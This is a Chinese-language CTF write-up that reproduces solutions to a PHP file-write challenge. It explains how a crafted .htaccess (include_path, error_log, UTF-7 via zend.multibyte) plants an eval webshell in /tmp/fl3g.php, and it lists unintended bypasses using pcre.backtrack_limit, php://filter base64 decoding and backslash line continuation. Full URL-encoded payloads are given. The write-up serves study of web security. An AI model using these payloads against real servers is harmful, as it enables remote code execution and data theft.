又到了看别人wp复现的时候了。
https://www.cnblogs.com/wfzWebSecuity/p/11439994.html
https://xz.aliyun.com/t/6101
https://www.anquanke.com/post/id/185377
两篇预期,一篇非预期,都让我收获颇多。
分析问题
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>
观察源码,分析一下做了哪些防护:
- 会在程序开始和结束的时候删除当前目录下除了
index.php的所有文件
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
- 文件内容不能包含
on_html_type_flag_upload_file
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
- 文件名只能由字母和
.构成
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
- 文件内容最后会加上一行
Just one chance
file_put_contents($filename, $content . "\nJust one chance");
- 代码中并没有解析点
找利用点
- 首先,php解析的问题,可以通过
.htaccess或者.user.ini来解决,具体可以看https://wooyun.js.org/drops/user.ini文件构成的PHP后门.html
https://xz.aliyun.com/t/3937
但是文件内容过滤掉了file,所以.user.ini无法使用auto_append_file和auto_prepend_file去解析木马。 - 考虑一下
.htaccess,但是因为.htaccess容错低,所以代码中加入的Just one chance会使得代码报错无法执行。因为.htaccess的注释是在行头加#,所以可以通过加\#,其中\表示换行,#表示注释,来注释掉添加的那句话。 - 接下来的问题变成了木马文件往哪里写的问题了。当前目录下是没法写了,而且源码中有个很有意思的代码:
再去翻翻php.ini配置选项列表,查看所有可操作项为include_once("fl3g.php");PHP_INI_ALL的配置项可以发现有这么一个选项:这个配置项代表着用户可以自己定义include的目录,换句话说,只要修改了include_path就可以去包含任意目录下的fl3g.php。那我们就可以往/tmp目录下去写一个fl3g.php。 - 解决了往哪里写的问题,接下来考虑一下怎么写的问题。考虑用
log功能去实现代码的输出,查找所有php log相关的功能可以看到error_log这一选项这一配置项可以指定log输出的目录。所以思路逐渐清晰,我们可以通过include_path一个不存在的目录,将错误信息输出到/tmp/fl3g.php里,当然,log_errors的值要设为不为0来开启错误信息。
开始利用
先写木马,.htaccess文件如下:
php_value include_path <?phpinfo();?>
php_value log_errors 1
php_value error_log /tmp/fl3g.php # \
构造的payload如下:
index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23 \
访问 index.php之后,发现多了个.htaccess文件

再次访问
index.php,发现/tmp下多了个fl3g.php
<被htmlentities转义了,这是因为error_log内容默认就是转义。参考最近的比赛Insomnihack 2019 I33t-hoster的WP,可以知道我们可以通过
utf7编码来绕转义。
zend.multibyte和zend.script_encoding
payload:+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+Ads到目前为止,基本上所有的问题都解决了,接下来就可以进行攻击了。
payload
- 第一次访问
index.php,目的是写入.htaccess
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php # \
/index.php?filename=.htaccess&content=php_value+include_path+%22/tmp/xx/%2bADw?php+die(eval($_GET[2]))%2bADs+%2bAF8AXw-halt%2bAF8-compiler()%2bADs%22%0d%0a%0d%0aphp_value+error_reporting+32767%0d%0aphp_value+error_log+/tmp/fl3g.php%0d%0a%0d%0a%23+\\

- 第二次访问
index.php,目的是触发.htaccess,将.htaccess中的payload写道/tmp/fl3g.php中。
- 第三次重新写
.htaccess,目的是更改include_path,去include/tmp目录下的fl3g.php,并且使用utf7编码去解析。
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp" # \
/index.php?filename=.htaccess&content=php_value+zend.multibyte+1%0d%0aphp_value+zend.script_encoding+"UTF-7"%0d%0aphp_value+include_path+"/tmp"%0d%0a%23+\\

- 第四次访问
/?2=var_dump(file_get_contents('/flag'));即可
总结
这道题用到了以下几个trick:
-
error_log结合log_errors自定义错误日志 -
include_path带入payload -
include_path更改包含路径 -
php_value zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤 - # \ 绕过
just one chance
非预期
1.正则匹配时:
if(preg_match("/[^a-z\.]/", $filename) == 1)而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false
php_value pcre.backtrack_limit 0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\
令filename为:
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr函数,一般这种基于字符的过滤都可以用编码进行绕过,这样就能getshell了,这里还学到了p牛的一篇文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list
2.非预期2
因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过# \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,
比如
php_value auto_prepend_fi\
le ".htaccess



